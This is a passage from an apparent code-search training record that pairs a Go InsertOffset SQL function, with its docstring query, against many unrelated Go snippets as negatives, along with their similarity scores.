incompatible signature header\")\n\t\t} else {\n\t\t\tdata := make([]byte, header[1])\n\t\t\tif n, err = io.ReadAtLeast(r, data, len(data)); err == nil {\n\t\t\t\tvar pos0 int\n\t\t\t\terr = this.unmarshalFrom(&pos0, data /*, addrs*/)\n\t\t\t}\n\t\t\tn += 16\n\t\t}\n\t}\n\treturn int64(n), err\n}", "func FileDataOffset(f *zip.File,) (int64, error)", "func (*offsetPageInfoImpl) PreviousOffset(p graphql.ResolveParams) (int, error) {\n\tpage := p.Source.(offsetPageInfo)\n\tif page.offset > 0 {\n\t\tprevOffset := page.offset - page.limit\n\t\treturn clampInt(prevOffset, 0, math.MaxInt32), nil\n\t}\n\treturn 0, nil\n}", "func searchAtOff(off int, src string, filenames ...string) (string, string, error) {\n\tvar conf loader.Config\n\tvar files []*ast.File\n\n\tfor _, name := range filenames {\n\t\tf, err := parseFile(&conf, name, nil)\n\t\tif err != nil {\n\t\t\treturn \"\", \"\", err\n\t\t}\n\t\tfiles = append(files, f)\n\t}\n\tf, err := parseFile(&conf, \"\", src)\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tfiles = append(files, f)\n\n\tfor _, imp := range f.Imports {\n\t\tif isAtOff(conf.Fset, off, imp) {\n\t\t\treturn strings.Trim(imp.Path.Value, \"\\\"\"), \"\", nil\n\t\t}\n\t}\n\n\tident := identAtOffset(conf.Fset, f, off)\n\tif ident == nil {\n\t\treturn \"\", \"\", errors.New(\"no identifier here\")\n\t}\n\n\tconf.CreateFromFiles(\"\", files...)\n\tallowErrors(&conf)\n\tprg, err := conf.Load()\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\tinfo := prg.Created[0]\n\tif obj := info.Uses[ident]; obj != nil {\n\t\treturn fromObj(obj, conf.Fset, f, off)\n\t}\n\tif obj := info.Defs[ident]; obj != nil {\n\t\treturn fromObj(obj, conf.Fset, f, off)\n\t}\n\treturn \"\", \"\", errors.New(\"could not find identifier\")\n}", "func (s *Arena) getKey(offset uint32, size uint16) []byte {\n\treturn s.data[offset : offset+uint32(size)]\n}", "func (mp *mirmap) access0(k voidptr, v *voidptr) int {\n\tv1 := mp.access1(k)\n\t// when key not exist, v1 will nil\n\tif v1 != nil {\n\t\tmemcpy3(v, v1, mp.valsz)\n\t\treturn 0\n\t}\n\treturn -1\n}", "func (o *QueryEntitlementsParams) SetOffset(offset *int32) {\n\to.Offset = offset\n}", "func (s *SearchChatMessagesRequest) GetOffset() (value int32) {\n\tif s == nil {\n\t\treturn\n\t}\n\treturn s.Offset\n}", "func SymbolToOffset(path, symbol string) (uint32, error) {\n\tf, err := elf.Open(path)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"could not open elf file to resolve symbol offset: %w\", err)\n\t}\n\n\tsyms, err := f.Symbols()\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"could not open symbol section to resolve symbol offset: %w\", err)\n\t}\n\n\tsectionsToSearchForSymbol := []*elf.Section{}\n\n\tfor i := range f.Sections {\n\t\tif f.Sections[i].Flags == elf.SHF_ALLOC+elf.SHF_EXECINSTR {\n\t\t\tsectionsToSearchForSymbol = append(sectionsToSearchForSymbol, f.Sections[i])\n\t\t}\n\t}\n\n\tvar executableSection *elf.Section\n\n\tfor j := range syms {\n\t\tif syms[j].Name == symbol {\n\t\t\t// Find what section the symbol is in by checking the executable section's\n\t\t\t// addr space.\n\t\t\tfor m := range sectionsToSearchForSymbol {\n\t\t\t\tif syms[j].Value > sectionsToSearchForSymbol[m].Addr &&\n\t\t\t\t\tsyms[j].Value < sectionsToSearchForSymbol[m].Addr+sectionsToSearchForSymbol[m].Size {\n\t\t\t\t\texecutableSection = sectionsToSearchForSymbol[m]\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif executableSection == nil {\n\t\t\t\treturn 0, errors.New(\"could not find symbol in executable sections of binary\")\n\t\t\t}\n\n\t\t\treturn uint32(syms[j].Value - executableSection.Addr + executableSection.Offset), nil\n\t\t}\n\t}\n\n\treturn 0, fmt.Errorf(\"symbol not found\")\n}", "func Lookup(k byte, x *[16]byte) int32", "func (r *Rope) ByteOffset(at int) int {\n\ts := skiplist{r: r}\n\t// var k *knot\n\tvar offset, skippedBytes int\n\tvar err error\n\n\tif _, offset, skippedBytes, err = s.find(at); err != nil {\n\t\treturn -1\n\t}\n\n\treturn offset + skippedBytes\n}", "func getEncryptedStartOffset(offset, length int64) (seqNumber uint32, encOffset int64, encLength int64) {\n\tonePkgSize := int64(sseDAREPackageBlockSize + sseDAREPackageMetaSize)\n\n\tseqNumber = uint32(offset / sseDAREPackageBlockSize)\n\tencOffset = int64(seqNumber) * onePkgSize\n\t// The math to compute the encrypted length is always\n\t// originalLength i.e (offset+length-1) to be divided under\n\t// 64KiB blocks which is the payload size for each encrypted\n\t// block. This is then multiplied by final package size which\n\t// is basically 64KiB + 32. Finally negate the encrypted offset\n\t// to get the final encrypted length on disk.\n\tencLength = ((offset+length)/sseDAREPackageBlockSize)*onePkgSize - encOffset\n\n\t// Check for the remainder, to figure if we need one extract package to read from.\n\tif (offset+length)%sseDAREPackageBlockSize > 0 {\n\t\tencLength += onePkgSize\n\t}\n\n\treturn seqNumber, encOffset, encLength\n}", "func (o *QueryFirewallFieldsParams) SetOffset(offset *string) {\n\to.Offset = offset\n}", "func (o *GetComplianceByResourceTypesParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (l *CachedByteCodeLoader) Load(key string) (bc *vm.ByteCode, err error) {\n\tdefer func() {\n\t\tif bc != nil && err == nil && l.ShouldDumpByteCode() {\n\t\t\tfmt.Fprintf(os.Stderr, \"%s\\n\", bc.String())\n\t\t}\n\t}()\n\n\tvar source TemplateSource\n\tif l.CacheLevel > CacheNone {\n\t\tvar entity *CacheEntity\n\t\tfor _, cache := range l.Caches {\n\t\t\tentity, err = cache.Get(key)\n\t\t\tif err == nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif err == nil {\n\t\t\tif l.CacheLevel == CacheNoVerify {\n\t\t\t\treturn entity.ByteCode, nil\n\t\t\t}\n\n\t\t\tt, err := entity.Source.LastModified()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"failed to get last-modified from source\")\n\t\t\t}\n\n\t\t\tif t.Before(entity.ByteCode.GeneratedOn) {\n\t\t\t\treturn entity.ByteCode, nil\n\t\t\t}\n\n\t\t\t// ByteCode validation failed, but we can still re-use source\n\t\t\tsource = entity.Source\n\t\t}\n\t}\n\n\tif source == nil {\n\t\tsource, err = l.Fetcher.FetchTemplate(key)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to fetch template\")\n\t\t}\n\t}\n\n\trdr, err := source.Reader()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to get the reader\")\n\t}\n\n\tbc, err = l.LoadReader(key, rdr)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to read byte code\")\n\t}\n\n\tentity := &CacheEntity{bc, source}\n\tfor _, cache := range l.Caches {\n\t\tcache.Set(key, entity)\n\t}\n\n\treturn bc, nil\n}", "func (am *AppMultiple) InitOffset(c context.Context) {\n\tam.d.InitOffset(c, am.offsets[0], am.attrs, []string{})\n}", "func (f genHelperDecoder) DecReadMapStart() int { return f.d.mapStart(f.d.d.ReadMapStart()) }", "func LoadInt32(addr *int32) (val int32)", "func (mtr *Msmsintprp3Metrics) getOffset(fldName string) int {\n\tvar offset int\n\n\tif fldName == \"Read\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Read.Size()\n\n\tif fldName == \"Security\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Security.Size()\n\n\tif fldName == \"Decode\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Decode.Size()\n\n\treturn offset\n}", "func (f *FileHash) GetOffset() (value int64) {\n\tif f == nil {\n\t\treturn\n\t}\n\treturn f.Offset\n}", "func loadKx(i Instruction, ls *LuaState) {\n\ta, _ := i.ABx()\n\ta += 1\n\tax := Instruction(ls.fetch()).Ax()\n\n\t//luaCheckStack(ls, 1)\n\tls.getConst(ax)\n\tluaReplace(ls, a)\n}", "func LoadPKFromFile(filename string) (key *PrivateKey, err error) {\n\tprivateKeyData, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn nil, fmt.Errorf(\"Unable to read private key file from file %s: %s\", filename, err)\n\t}\n\tblock, _ := pem.Decode(privateKeyData)\n\tif block == nil {\n\t\treturn nil, fmt.Errorf(\"Unable to decode PEM encoded private key data: %s\", err)\n\t}\n\trsaKey, err := x509.ParsePKCS1PrivateKey(block.Bytes)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Unable to decode X509 private key data: %s\", err)\n\t}\n\treturn &PrivateKey{rsaKey: rsaKey}, nil\n}", "func (b *Builder) Load(ty protocol.Type, addr value.Pointer) {\n\tif !addr.IsValid() {\n\t\tpanic(fmt.Errorf(\"Pointer address %v is not valid\", addr))\n\t}\n\tb.pushStack(ty)\n\tb.instructions = append(b.instructions, asm.Load{\n\t\tDataType: ty,\n\t\tSource: b.remap(addr),\n\t})\n}", "func (yl *KaminoYAMLLoader) Load(log *logrus.Entry) (types.Record, error) {\n\tlogFile := log.WithField(\"datasource\", yl.ds.GetName())\n\n\tif yl.currentRow >= len(yl.content) {\n\t\tlogFile.Error(\"no more data to read\")\n\t\treturn nil, fmt.Errorf(\"no more data to read: %w\", common.ErrEOF)\n\t}\n\n\trecord := yl.content[yl.currentRow]\n\tyl.currentRow++\n\n\treturn record, nil\n}", "func (driver) UpdateOffset(\n\tctx context.Context,\n\ttx *sql.Tx,\n\tak, sk string,\n\tc, n uint64,\n) (_ bool, err error) {\n\tdefer sqlx.Recover(&err)\n\n\treturn sqlx.TryExecRow(\n\t\tctx,\n\t\ttx,\n\t\t`UPDATE stream_offset SET\n\t\t\tnext_offset = ?\n\t\tWHERE app_key = ?\n\t\tAND source_app_key = ?\n\t\tAND next_offset = ?`,\n\t\tn,\n\t\tak,\n\t\tsk,\n\t\tc,\n\t), nil\n}", "func (o *ExtrasSavedFiltersListParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (ksq *KqiSourceQuery) Offset(offset int) *KqiSourceQuery {\n\tksq.offset = &offset\n\treturn ksq\n}", "func (mtr *Msmsintprp2Metrics) getOffset(fldName string) int {\n\tvar offset int\n\n\tif fldName == \"Read\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Read.Size()\n\n\tif fldName == \"Security\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Security.Size()\n\n\tif fldName == \"Decode\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Decode.Size()\n\n\treturn offset\n}", "func (dst *Bravo) Load(key uint64) bool {\n\t_, mask := dst.search(key)\n\treturn mask == 0\n}", "func (stream *Stream) GetOffset(address string, req *sarama.OffsetRequest) (*sarama.OffsetResponse, error) {\n\tresp := &sarama.OffsetResponse{}\n\treturn resp, stream.execute(address, req, resp)\n}", "func (mtr *Msmsintprp4Metrics) getOffset(fldName string) int {\n\tvar offset int\n\n\tif fldName == \"Read\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Read.Size()\n\n\tif fldName == \"Security\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Security.Size()\n\n\tif fldName == \"Decode\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Decode.Size()\n\n\treturn offset\n}", "func (o *GetRefPlantsParams) validateOffset(formats strfmt.Registry) error {\n\n\tif err := validate.MinimumInt(\"offset\", \"query\", o.Offset, 0, false); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (m *MMU) LoadBootFrom(rom io.Reader) error {\n\tbuf, err := io.ReadAll(rom)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(buf) > 256 {\n\t\treturn TooLargeErr\n\t}\n\n\tcopy(m.bootrom[:], buf)\n\tm.hasBoot = true\n\n\treturn nil\n}", "func (rk *caIdemixRevocationKey) Load() error {\n\tpubKeyBytes, err := ioutil.ReadFile(rk.pubKeyFile)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Failed to read revocation public key from %s\", rk.pubKeyFile)\n\t}\n\tif len(pubKeyBytes) == 0 {\n\t\treturn errors.New(\"Revocation public key file is empty\")\n\t}\n\tprivKey, err := ioutil.ReadFile(rk.privateKeyFile)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Failed to read revocation private key from %s\", rk.privateKeyFile)\n\t}\n\tif len(privKey) == 0 {\n\t\treturn errors.New(\"Revocation private key file is empty\")\n\t}\n\tpk, pubKey, err := DecodeKeys(privKey, pubKeyBytes)\n\tif err != nil {\n\t\treturn errors.WithMessage(err, \"Failed to decode revocation key\")\n\t}\n\tpk.PublicKey = *pubKey\n\trk.key = pk\n\treturn nil\n}", "func LoadKfApp(name string, kfdef *kfdefs.KfDef) (KfApp, error) {\n\tpluginname := strings.Replace(name, \"-\", \"\", -1)\n\tplugindir := os.Getenv(\"PLUGINS_ENVIRONMENT\")\n\tpluginpath := filepath.Join(plugindir, name+\".so\")\n\tp, err := plugin.Open(pluginpath)\n\tif err != nil {\n\t\treturn nil, &kfapis.KfError{\n\t\t\tCode: int(kfapis.INVALID_ARGUMENT),\n\t\t\tMessage: fmt.Sprintf(\"could not load plugin %v for platform %v Error %v\", pluginpath, pluginname, err),\n\t\t}\n\t}\n\tsymName := \"GetKfApp\"\n\tsymbol, symbolErr := p.Lookup(symName)\n\tif symbolErr != nil {\n\t\treturn nil, &kfapis.KfError{\n\t\t\tCode: int(kfapis.INTERNAL_ERROR),\n\t\t\tMessage: fmt.Sprintf(\"could not find symbol %v for platform %v Error %v\", symName, pluginname, symbolErr),\n\t\t}\n\t}\n\treturn symbol.(func(*kfdefs.KfDef) KfApp)(kfdef), nil\n}", "func (be s3) Load(h backend.Handle, p []byte, off int64) (int, error) {\n\tdebug.Log(\"s3.Load\", \"%v, offset %v, len %v\", h, off, len(p))\n\tpath := be.s3path(h.Type, h.Name)\n\tobj, err := be.client.GetObject(be.bucketname, path)\n\tif err != nil {\n\t\tdebug.Log(\"s3.GetReader\", \" err %v\", err)\n\t\treturn 0, err\n\t}\n\n\tif off > 0 {\n\t\t_, err = obj.Seek(off, 0)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\t<-be.connChan\n\tdefer func() {\n\t\tbe.connChan <- struct{}{}\n\t}()\n\treturn io.ReadFull(obj, p)\n}", "func offset(tf *token.File, pos token.Pos) (int, error) {\n\tif int(pos) < tf.Base() || int(pos) > tf.Base()+tf.Size() {\n\t\treturn 0, fmt.Errorf(\"invalid pos: %d not in [%d, %d]\", pos, tf.Base(), tf.Base()+tf.Size())\n\t}\n\treturn int(pos) - tf.Base(), nil\n}", "func (p Pin) Load() int {\n\treturn int(p.Port().idr.Load()) >> p.index() & 1\n}", "func (this *fixedSize) ReadFrom(r io.Reader) (int64, error) {\n\t// var addrs = map[uint64]uintptr{}\n\tvar header [2]uint64\n\tn, err := io.ReadAtLeast(r, ((*[16]byte)(unsafe.Pointer(&header[0])))[:], 16)\n\tif err == nil {\n\t\tif header[0] != 3387551728070519514 {\n\t\t\terr = errors.New(\"fixedSize: incompatible signature header\")\n\t\t} else {\n\t\t\tdata := make([]byte, header[1])\n\t\t\tif n, err = io.ReadAtLeast(r, data, len(data)); err == nil {\n\t\t\t\tvar pos0 int\n\t\t\t\terr = this.unmarshalFrom(&pos0, data /*, addrs*/)\n\t\t\t}\n\t\t\tn += 16\n\t\t}\n\t}\n\treturn int64(n), err\n}", "func (_options *ListSecretsLocksOptions) SetOffset(offset int64) *ListSecretsLocksOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (d *DB) LoadApp(ctx context.Context, key string) (*App, error) {\n\tlog := logger.FromContext(ctx)\n\n\tif d.verbose {\n\t\tlog.Log(\n\t\t\t\"msg\", \"loading app\",\n\t\t)\n\t}\n\n\tparts := strings.Split(key, \"-\")\n\tif len(parts) != 2 {\n\t\treturn nil, errors.New(\"invalid key\")\n\t}\n\n\tsql := `SELECT uid, app_name, scope, rate FROM applications WHERE uid = $1 AND key_hash = crypt($2, key_hash)`\n\n\tvar app App\n\n\terr := d.DB.Get(&app, sql, parts[0], parts[1])\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to get app from DB\")\n\t}\n\n\treturn &app, nil\n}", "func LongOffsetOf(offset uint32) ControlWord {\n\treturn ControlWord(offset & 0xFFFFF)\n}", "func (s *Int64Map) Load(key int64) (value interface{}, ok bool) {\n\tx := s.header\n\tfor i := maxLevel - 1; i >= 0; i-- {\n\t\tnex := x.loadNext(i)\n\t\tfor nex != nil && nex.lessthan(key) {\n\t\t\tx = nex\n\t\t\tnex = x.loadNext(i)\n\t\t}\n\n\t\t// Check if the key already in the skip list.\n\t\tif nex != nil && nex.equal(key) {\n\t\t\tif nex.flags.MGet(fullyLinked|marked, fullyLinked) {\n\t\t\t\treturn nex.loadVal(), true\n\t\t\t}\n\t\t\treturn nil, false\n\t\t}\n\t}\n\treturn nil, false\n}", "func ErrBadOffset(codespace sdk.CodespaceType, digest Hash256Digest) sdk.Error {\n\treturn sdk.NewError(codespace, BadHexLen, fmt.Sprintf(BadOffsetMessage, digest))\n}", "func TestLmapOffsets(t *testing.T) {\n\tif lname_offset() >= lnext_offset() {\n\t\tt.Fatalf(\"lname offset (%d) should be l.t. lnext offset (%d)\",\n\t\t\tlname_offset(), lnext_offset())\n\t}\n}", "func (d *Database) GetByOffset(doc *Doc) error {\n\terrNo := C.fdb_get_byoffset(d.db, doc.doc)\n\tif errNo != RESULT_SUCCESS {\n\t\treturn Error(errNo)\n\t}\n\treturn nil\n}", "func (mtr *Msmsintprp1Metrics) getOffset(fldName string) int {\n\tvar offset int\n\n\tif fldName == \"Read\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Read.Size()\n\n\tif fldName == \"Security\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Security.Size()\n\n\tif fldName == \"Decode\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Decode.Size()\n\n\treturn offset\n}", "func buildOffset(conditions map[string][]string) int {\n\tres := 0\n\tif len(conditions[\"offset\"]) > 0 {\n\t\tres, _ = strconv.Atoi(conditions[\"offset\"][0])\n\t}\n\treturn res\n}", "func (_options *ListSourcesOptions) SetOffset(offset int64) *ListSourcesOptions {\n\t_options.Offset = core.Int64Ptr(offset)\n\treturn _options\n}", "func (mtr *Msmsintprp5Metrics) getOffset(fldName string) int {\n\tvar offset int\n\n\tif fldName == \"Read\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Read.Size()\n\n\tif fldName == \"Security\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Security.Size()\n\n\tif fldName == \"Decode\" {\n\t\treturn offset\n\t}\n\toffset += mtr.Decode.Size()\n\n\treturn offset\n}", "func (e *ELF) Offset(addr uint64) (uint64, error) {\n\treturn e.addrToOffset(addr)\n}", "func (r *CheckpointStore) Load(region, topic string, partition uint32) *core.Checkpoint {\n\tif region == r.config.LocalRegion {\n\t\treturn nil\n\t}\n\n\tr.mutex.RLock()\n\n\tkey := checkpointKey{\n\t\tRegion: region,\n\t\tTopic: topic,\n\t\tPartition: partition,\n\t}\n\n\tresult := r.state[key]\n\n\tr.mutex.RUnlock()\n\treturn result\n}", "func (s *Scim) LoadAccountLookup(realm, acct string, tx storage.Tx) (*cpb.AccountLookup, error) {\n\tlookup := &cpb.AccountLookup{}\n\tstatus, err := s.readTx(storage.AccountLookupDatatype, realm, storage.DefaultUser, acct, storage.LatestRev, lookup, tx)\n\tif err != nil && status == http.StatusNotFound {\n\t\treturn nil, nil\n\t}\n\treturn lookup, err\n}", "func (bldr *BQLoadJobQueryBuilder) Offset(offset int) *BQLoadJobQueryBuilder {\n\tbldr.q = bldr.q.Offset(offset)\n\tif bldr.plugin != nil {\n\t\tbldr.plugin.Offset(offset)\n\t}\n\treturn bldr\n}", "func (o *SearchKeywordChunkedParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}", "func (wa *WzAES) LoadKey(pkiDir string) error {\n\tbuff, err := ioutil.ReadFile(path.Join(pkiDir, AES_TOKEN))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(buff) != 0x20 {\n\t\treturn fmt.Errorf(\"AES key length is not as expected: %d\", len(buff))\n\t}\n\twa.key = &[32]byte{}\n\tfor idx, elm := range buff {\n\t\twa.key[idx] = elm\n\t}\n\n\treturn nil\n}", "func (o *AdminSearchUserV3Params) SetOffset(offset *string) {\n\to.Offset = offset\n}", "func (r *Reader) offset() Offset {\n\treturn r.b.off\n}", "func (g *ChannelsGetLeftChannelsRequest) GetOffset() (value int) {\n\tif g == nil {\n\t\treturn\n\t}\n\treturn g.Offset\n}", "func (g *GetSupergroupMembersRequest) GetOffset() (value int32) {\n\tif g == nil {\n\t\treturn\n\t}\n\treturn g.Offset\n}", "func (klq *K8sLabelQuery) Offset(offset int) *K8sLabelQuery {\n\tklq.offset = &offset\n\treturn klq\n}", "func (o *GetSearchEmployeesParams) SetOffset(offset *int64) {\n\to.Offset = offset\n}" ]
[ "0.50615436", "0.49211717", "0.48032776", "0.47755668", "0.47425985", "0.47088978", "0.4707543", "0.46445605", "0.46122235", "0.45880616", "0.45770794", "0.45286804", "0.449994", "0.44305518", "0.4426901", "0.4385762", "0.43705243", "0.43544406", "0.43517968", "0.4343254", "0.43370306", "0.43367657", "0.43303767", "0.43243143", "0.43173468", "0.4313478", "0.43128377", "0.43019387", "0.42932105", "0.42741328", "0.4273642", "0.42691967", "0.42684537", "0.4256648", "0.4250503", "0.42484236", "0.42475894", "0.42422324", "0.42422312", "0.42383012", "0.42312256", "0.42261663", "0.4222041", "0.42140487", "0.4211754", "0.4208787", "0.42052358", "0.42045453", "0.42015728", "0.41916052", "0.41888386", "0.41886202", "0.41686484", "0.41572034", "0.41563523", "0.41471353", "0.4145712", "0.41438895", "0.41425952", "0.41402557", "0.41374186", "0.41366813", "0.41350946", "0.41325244", "0.41297355", "0.41251767", "0.4117703", "0.4114254", "0.41062832", "0.40956768", "0.40946144", "0.40925804", "0.40896374", "0.40895963", "0.40849707", "0.40834862", "0.4080073", "0.40748438", "0.40738308", "0.40738186", "0.40718976", "0.40687242", "0.40680084", "0.40563673", "0.40552792", "0.40513557", "0.40507978", "0.40496662", "0.40386203", "0.40361705", "0.40352786", "0.40347883", "0.4033912", "0.4031859", "0.4029258", "0.40225798", "0.40210876", "0.40143138", "0.40132132", "0.40121108" ]
0.7397653
0
InsertOffset inserts a new offset associated with the given source application key sk. ak is the 'owner' application key. It returns false if the row already exists.
func (driver) InsertOffset( ctx context.Context, tx *sql.Tx, ak, sk string, n uint64, ) (_ bool, err error) { defer sqlx.Recover(&err) return sqlx.TryExecRow( ctx, tx, `INSERT INTO stream_offset SET app_key = ?, source_app_key = ?, next_offset = ? ON DUPLICATE KEY UPDATE app_key = app_key`, // do nothing ak, sk, n, ), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (driver) UpdateOffset(\n\tctx context.Context,\n\ttx *sql.Tx,\n\tak, sk string,\n\tc, n uint64,\n) (_ bool, err error) {\n\tdefer sqlx.Recover(&err)\n\n\treturn sqlx.TryExecRow(\n\t\tctx,\n\t\ttx,\n\t\t`UPDATE stream_offset SET\n\t\t\tnext_offset = ?\n\t\tWHERE app_key = ?\n\t\tAND source_app_key = ?\n\t\tAND next_offset = ?`,\n\t\tn,\n\t\tak,\n\t\tsk,\n\t\tc,\n\t), nil\n}", "func (driver) LoadOffset(\n\tctx context.Context,\n\tdb *sql.DB,\n\tak, sk string,\n) (uint64, error) {\n\trow := db.QueryRowContext(\n\t\tctx,\n\t\t`SELECT\n\t\t\tnext_offset\n\t\tFROM stream_offset\n\t\tWHERE app_key = ?\n\t\tAND source_app_key = ?`,\n\t\tak,\n\t\tsk,\n\t)\n\n\tvar o uint64\n\terr := row.Scan(&o)\n\tif err == sql.ErrNoRows {\n\t\terr = nil\n\t}\n\n\treturn o, err\n}", "func (t *strideTable[T]) insert(addr uint8, prefixLen int, val *T) {\n\tidx := prefixIndex(addr, prefixLen)\n\told := t.entries[idx].value\n\toldIdx := t.entries[idx].prefixIndex\n\tif oldIdx == idx && old == val {\n\t\t// This exact prefix+value is already in the table.\n\t\treturn\n\t}\n\tt.allot(idx, oldIdx, idx, val)\n\tif oldIdx != idx {\n\t\t// This route entry was freshly created (not just updated), that's a new\n\t\t// reference.\n\t\tt.refs++\n\t}\n\treturn\n}", "func (e *ObservableEditableBuffer) InsertAt(rp0 int, rs []rune) {\n\tp0 := e.f.RuneTuple(rp0)\n\ts, nr := RunesToBytes(rs)\n\n\te.Insert(p0, s, nr)\n}", "func (ust *UsersShopTrace) Insert(ctx context.Context, key ...interface{}) error {\n\tvar err error\n\tvar dbConn *sql.DB\n\tvar res sql.Result\n\t// if already exist, bail\n\tif ust._exists {\n\t\treturn errors.New(\"insert failed: already exists\")\n\t}\n\n\ttx, err := components.M.GetConnFromCtx(ctx)\n\tif err != nil {\n\t\tdbConn, err = components.M.GetMasterConn()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttableName, err := GetUsersShopTraceTableName(key...)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// sql insert query, primary key provided by autoincrement\n\tsqlstr := `INSERT INTO ` + tableName +\n\t\t` (` +\n\t\t`openid, unionid, appid, uid, fid, sid, updated` +\n\t\t`) VALUES (` +\n\t\t`?, ?, ?, ?, ?, ?, ?` +\n\t\t`)`\n\n\t// run query\n\tutils.GetTraceLog(ctx).Debug(\"DB\", zap.String(\"SQL\", fmt.Sprint(sqlstr, ust.Openid, ust.Unionid, ust.Appid, ust.UID, ust.Fid, ust.Sid, ust.Updated)))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif tx != nil {\n\t\tres, err = tx.Exec(sqlstr, ust.Openid, ust.Unionid, ust.Appid, ust.UID, ust.Fid, ust.Sid, ust.Updated)\n\t} else {\n\t\tres, err = dbConn.Exec(sqlstr, ust.Openid, ust.Unionid, ust.Appid, ust.UID, ust.Fid, ust.Sid, ust.Updated)\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// retrieve id\n\tid, err := res.LastInsertId()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// set primary key and existence\n\tust.ID = int(id)\n\tust._exists = true\n\n\treturn nil\n}", "func (d *DB) insertIntoNode(cursor Cursor, kv *Pair) (bool, error) {\n\tnode := cursor.Node\n\tif node == nil {\n\t\tlog.Panic(\"try to insert into nil node!\")\n\t}\n\tif d.isFull(node) {\n\t\tlog.Printf(\"try to insert into a full node: %v, kv: %v\", node, kv)\n\t\tlog.Panic(\"insert into a full node.\")\n\t}\n\tidx := cursor.Index\n\t// TODO\t check node.Cells[idx].Child == nil\n\t// move cells\n\t//log.Printf(\"+ node: %v\\n\", node)\n\tfor i := node.Used + 1; i > idx; i-- {\n\t\tnode.Cells[i] = node.Cells[i-1]\n\t}\n\t// set cell\n\tnode.Cells[idx].KeyVal = *kv\n\t// set used\n\tnode.Used++\n\t// check full\n\tif d.isFull(node) {\n\t\td.split(node)\n\t}\n\treturn true, nil\n}", "func NewAccessEntryPK(publisher string, salt []byte) (*AccessEntry, error) {\n\tif len(publisher) != 66 {\n\t\treturn nil, fmt.Errorf(\"publisher should be 66 characters long, got %d\", len(publisher))\n\t}\n\tif len(salt) != 32 {\n\t\treturn nil, fmt.Errorf(\"salt should be 32 bytes long\")\n\t}\n\treturn &AccessEntry{\n\t\tType: AccessTypePK,\n\t\tPublisher: publisher,\n\t\tSalt: salt,\n\t}, nil\n}", "func (shard *hashShard) shardInsert(key KeyType, hashValue IndexType, value ValueType) bool {\n\tshard.rehash()\n\tinitIdx := shard.searchExists(key, hashValue)\n\n\tif (*shard.data)[initIdx].isOccupied && (*shard.data)[initIdx].key == key {\n\t\treturn false\n\t}\n\n\tinsertIdx := shard.searchToInsert(key, hashValue)\n\tif !(*shard.data)[insertIdx].isOccupied {\n\t\tshard.occupied++\n\t}\n\n\t(*shard.data)[insertIdx] = hashElement{true, true, key, value}\n\tshard.size++\n\treturn true\n}", "func existingSAWithOwnerRef(tc *v1alpha1.TektonConfig) bool {\n\ttcLabels := tc.GetLabels()\n\t_, ok := tcLabels[serviceAccountCreationLabel]\n\treturn !ok\n}", "func SliceInsert(sl *[]Ki, k Ki, idx int) {\n\tkl := len(*sl)\n\tif idx < 0 {\n\t\tidx = kl + idx\n\t}\n\tif idx < 0 { // still?\n\t\tidx = 0\n\t}\n\tif idx > kl { // last position allowed for insert\n\t\tidx = kl\n\t}\n\t// this avoids extra garbage collection\n\t*sl = append(*sl, nil)\n\tif idx < kl {\n\t\tcopy((*sl)[idx+1:], (*sl)[idx:kl])\n\t}\n\t(*sl)[idx] = k\n}", "func (mr *MockDatabaseMockRecorder) InsertTopicKey(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InsertTopicKey\", reflect.TypeOf((*MockDatabase)(nil).InsertTopicKey), arg0, arg1)\n}", "func (s *segmentKeysIndex) add(keyIdx int, key []byte) bool {\n\tif s.numKeys >= s.numIndexableKeys {\n\t\t// All keys that can be indexed already have been,\n\t\t// return false indicating that there's no room for\n\t\t// anymore.\n\t\treturn false\n\t}\n\n\tif len(key) > (len(s.data) - s.numKeyBytes) {\n\t\t// No room for any more keys.\n\t\treturn false\n\t}\n\n\tif 